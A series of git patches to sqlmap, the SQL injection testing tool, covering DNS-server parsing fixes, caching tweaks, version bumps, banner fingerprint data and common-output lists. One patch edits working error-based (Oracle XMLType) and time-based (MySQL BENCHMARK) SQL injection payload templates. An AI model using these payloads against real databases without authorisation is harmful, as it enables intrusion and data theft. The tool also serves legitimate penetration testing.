self._query = b".".join(parts) + b'.' + except Exception: + self._query = b"" def response(self, resolution): """ @@ -55,16 +79,19 @@ class DNSQuery(object): retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += b"\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query - retVal += b"\xc0\x0c" # Pointer to domain name - retVal += b"\x00\x01" # Type A - retVal += b"\x00\x01" # Class IN - retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) - retVal += b"\x00\x04" # Data length - retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP + offset = self._raw[12:].find(b"\x00") + + if offset >= 0: + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + offset + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal @@ -160,10 +187,15 @@ class DNSServer(object): try: _ = DNSQuery(data) + if not _._query: + continue + with self._lock: self._requests.append(_._query) - self._socket.sendto(_.response("127.0.0.1"), addr) + response = _.response("127.0.0.1") + if response: + self._socket.sendto(response, addr) except KeyboardInterrupt: raise except Exception: From b66840eb2eb2f14feabeecececb5b2d475055c4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:32:26 +0200 Subject: [PATCH 052/165] Potential patch for CI/CD issue --- data/txt/sha256sums.txt | 4 +-- lib/core/settings.py | 2 +- lib/request/dns.py | 76 ++++++++++++++++++++++++----------------- 3 files changed, 48 insertions(+), 34 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9a8211888..5a87ad684 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4df19d4b5ce21922573c387d9f4a2a228a44a4f7c07c9a0d4c38048b04e1912b lib/core/settings.py +8a424d4e91d0d5b57502d2699e95acbb12e1378330fbbb4ffa75b507141aec36 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -676d59c53de4d119f79a8b32c4d9282c1e48833dca688f743d8a0c06433aa502 lib/request/dns.py +a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8261a846a..d97547397 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.146" +VERSION = "1.10.6.147" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 0b0d6d291..d51c79582 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -9,6 +9,7 @@ from __future__ import print_function import binascii import collections +import errno import os import re import socket @@ -34,41 +35,35 @@ class DNSQuery(object): self._query = b"" try: - # Minimum DNS header length is 12 bytes, followed by at least a - # root label terminator. Shorter packets are malformed/no-op. - if len(raw) <= 12: + if len(raw) < 13: return type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 - parts = [] + labels = [] + + while True: + if i >= len(raw): + return - while i < len(raw): j = ord(raw[i:i + 1]) if j == 0: break - # Compression pointers are not expected in the question name - # here. Treat them as malformed instead of walking arbitrary - # offsets or creating a partial query. - if j & 0xc0: - parts = [] - break + i += 1 - i = i + 1 if i + j > len(raw): - parts = [] - break + return - parts.append(raw[i:i + j]) - i = i + j + labels.append(raw[i:i + j]) + i += j - if parts: - self._query = b".".join(parts) + b'.' - except Exception: + if labels: + self._query = b".".join(labels) + b'.' + except (TypeError, ValueError, IndexError): self._query = b"" def response(self, resolution): @@ -79,19 +74,21 @@ class DNSQuery(object): retVal = b"" if self._query: - offset = self._raw[12:].find(b"\x00") + end = self._raw[12:].find(b"\x00") - if offset >= 0: - retVal += self._raw[:2] # Transaction ID - retVal += b"\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + offset + 5)] # Original Domain Name Query - retVal += b"\xc0\x0c" # Pointer to domain name - retVal += b"\x00\x01" # Type A - retVal += b"\x00\x01" # Class IN - retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) - retVal += b"\x00\x04" # Data length - retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP + if end < 0 or len(self._raw) < 12 + end + 5: + return retVal + + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + end + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal @@ -168,15 +165,31 @@ class DNSServer(object): """ def _(): + def _is_udp_connreset(ex): + return getattr(ex, "winerror", None) == 10054 or getattr(ex, "errno", None) in (errno.ECONNRESET, 10054) + try: self._running = True self._initialized = True + try: + if hasattr(socket, "SIO_UDP_CONNRESET") and hasattr(self._socket, "ioctl"): + # Windows reports ICMP "port unreachable" for UDP as WSAECONNRESET on + # recvfrom(). DNS clients in tests and in the wild can disappear before + # reading our fake response; that must not kill the server thread. + self._socket.ioctl(socket.SIO_UDP_CONNRESET, False) + except Exception: + pass + while True: try: data, addr = self._socket.recvfrom(1024) except KeyboardInterrupt: raise + except socket.error as ex: + if _is_udp_connreset(ex): + continue + break # socket closed/broken - stop serving (e.g. program exit) except Exception: break # socket closed/broken - stop serving (e.g. program exit) @@ -194,6 +207,7 @@ class DNSServer(object): self._requests.append(_._query) response = _.response("127.0.0.1") + if response: self._socket.sendto(response, addr) except KeyboardInterrupt: From de87b28c6159ac24847ed58e3d3b4c50adca2d09 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 13:28:37 +0200 Subject: [PATCH 053/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/decorators.py | 20 ++++++++++++-------- lib/core/settings.py | 2 +- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a87ad684..e21ad3a50 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -173,7 +173,7 @@ c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigar 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py -70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py +f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 7ce2c09ebcd63d57f7b6751f70f536e2a562230d51181eb24f5024bb6f3d74cc lib/core/dicts.py a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8a424d4e91d0d5b57502d2699e95acbb12e1378330fbbb4ffa75b507141aec36 lib/core/settings.py +4075b759ee9084605db70288b41f282fe3d4224f62d9b382ce3139e572145b97 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 53603e816..049069267 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -59,15 +59,19 @@ def cachedmethod(f): return cache[key] except TypeError: - # Note: fallback (slowpath( - if kwargs: - key = (_freeze(args), _freeze(kwargs)) - else: - key = _freeze(args) + # Note: fallback (slow-path) for unhashable arguments + try: + if kwargs: + key = (_freeze(args), _freeze(kwargs)) + else: + key = _freeze(args) - with lock: - if key in cache: - return cache[key] + with lock: + if key in cache: + return cache[key] + except TypeError: + # Note: genuinely uncacheable arguments; skip caching altogether + return f(*args, **kwargs) result = f(*args, **kwargs) diff --git a/lib/core/settings.py b/lib/core/settings.py index d97547397..5d3ab804e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.147" +VERSION = "1.10.6.148" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c0d343b341f3b5bbe39b46ea7046d4df43a95f00 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 13:43:48 +0200 Subject: [PATCH 054/165] Some XML updates --- data/txt/sha256sums.txt | 10 +- data/xml/banner/generic.xml | 6 +- data/xml/banner/mssql.xml | 190 ++++++++++++++++++++++++++++++++++++ data/xml/banner/mysql.xml | 27 +++++ lib/core/settings.py | 2 +- tests/test_datafiles.py | 4 + 6 files changed, 232 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e21ad3a50..58c62b922 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -65,9 +65,9 @@ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postg 8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ 7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt -288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml -2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml -14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml +f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3 data/xml/banner/generic.xml +99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217 data/xml/banner/mssql.xml +332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9 data/xml/banner/mysql.xml 6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4075b759ee9084605db70288b41f282fe3d4224f62d9b382ce3139e572145b97 lib/core/settings.py +5938c26ca808b908c2af438498ae9aafedbea9e3db999857bf318dd630b2ab68 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -581,7 +581,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py 8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py -5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py +c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 6bd38d6b4..723d31bd5 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -34,7 +34,7 @@ - + @@ -179,6 +179,10 @@ + + + + diff --git a/data/xml/banner/mssql.xml b/data/xml/banner/mssql.xml index f3d5eceba..9a0115003 100644 --- a/data/xml/banner/mssql.xml +++ b/data/xml/banner/mssql.xml @@ -1,5 +1,195 @@ + + + + + 16.0 + + + + + + + 16.0.1000.6 + + + 0 + + + + + + + 15.0 + + + + + + + 15.0.2000.5 + + + 0 + + + + + + + 14.0 + + + + + + + 14.0.1000.169 + + + 0 + + + + + + + 13.0 + + + + + + + 13.0.1601.5 + + + 0 + + + + + 13.0.4001.0 + + + 1 + + + + + 13.0.5026.0 + + + 2 + + + + + 13.0.6300.2 + + + 3 + + + + + + + 12.0 + + + + + + + 12.0.2000.8 + + + 0 + + + + + 12.0.4100.1 + + + 1 + + + + + 12.0.5000.0 + + + 2 + + + + + 12.0.6024.0 + + + 3 + + + + + + + 11.0 + + + + + + + 11.0.2100.60 + + + 0 + + + + + 11.0.3000.0 + + + 1 + + + + + 11.0.5058.0 + + + 2 + + + + + 11.0.6020.0 + + + 3 + + + + + 11.0.7001.0 + + + 4 + + + diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml index 456c9510b..1af927645 100644 --- a/data/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -3,6 +3,7 @@ @@ -76,4 +77,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 5d3ab804e..3538a8b42 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.148" +VERSION = "1.10.6.149" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py index 9308bb349..f8dbcabe9 100644 --- a/tests/test_datafiles.py +++ b/tests/test_datafiles.py @@ -83,6 +83,10 @@ class TestXmlWellFormed(unittest.TestCase): path = os.path.join(ROOT, "data", "xml", rel) ET.parse(path) # raises on malformed + def test_banner_xml_parses(self): + for path in glob.glob(os.path.join(ROOT, "data", "xml", "banner", "*.xml")): + ET.parse(path) # raises on malformed + class TestSourceAsciiSafety(unittest.TestCase): # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. From f15b73d5716d39fab9e16d7d0314aa08ecbdda82 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 14:14:52 +0200 Subject: [PATCH 055/165] Minor fixes --- data/txt/sha256sums.txt | 6 +++--- data/xml/payloads/error_based.xml | 6 +++--- data/xml/payloads/time_blind.xml | 4 ++-- lib/core/settings.py | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 58c62b922..6b9c2b875 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,10 +79,10 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml 43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml -a65b6e29389b1543f54da6aced3ca4abdcd68cb626ceefc61fb9985bda692251 data/xml/payloads/error_based.xml +c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/payloads/error_based.xml 516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml -997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml +379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5938c26ca808b908c2af438498ae9aafedbea9e3db999857bf318dd630b2ab68 lib/core/settings.py +b01cfaf542516bce373b0543fc74c0e25b32a8e5f75b6e9990e4e119347059b5 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f71fa33e6..95fd4b40b 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -593,7 +593,7 @@ 3 1,9 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1256,7 +1256,7 @@ 1 1,3 3 - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1533,7 +1533,7 @@ 1 2,3 1 - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 21a50ce40..f521deb8f 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1626,9 +1626,9 @@ 2 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3538a8b42..7543bca12 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.149" +VERSION = "1.10.6.150" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0d82096025ccfcee0fa04cb229c6ed20757bf7c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 23 Jun 2026 15:37:39 +0200 Subject: [PATCH 056/165] Minor update --- data/txt/common-outputs.txt | 34 ++++++++++++++++++++++++++++++++++ data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 37 insertions(+), 3 deletions(-) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index bd5061b8b..1df3cd36f 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -24,6 +24,34 @@ 9.2. 9.3. +# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...') +10.0. +10.1. +10.2. +10.3. +10.4. +10.5. +10.6. +10.7. +10.8. +10.9. +10.10. +10.11. +11.0. +11.1. +11.2. +11.3. +11.4. +11.5. +11.6. +11.7. +11.8. +12.0. +12.1. +12.2. +12.3. +13.0. + # PostgreSQL PostgreSQL 7.0 PostgreSQL 7.1 @@ -51,6 +79,7 @@ PostgreSQL 14. PostgreSQL 15. PostgreSQL 16. PostgreSQL 17. +PostgreSQL 18. # Oracle Oracle Database 9i Standard Edition Release @@ -97,6 +126,9 @@ Microsoft SQL Server 2025 'debian-sys-maint'@'localhost' 'root'@'%' 'root'@'localhost' +'mysql.sys'@'localhost' +'mysql.session'@'localhost' +'mysql.infoschema'@'localhost' # MySQL < 5.0 debian-sys-maint @@ -420,6 +452,8 @@ XDBWEBSERVICES information_schema performance_schema mysql +sys +test phpmyadmin # PostgreSQL diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6b9c2b875..c231f69f4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/sta af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt +852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -189,7 +189,7 @@ 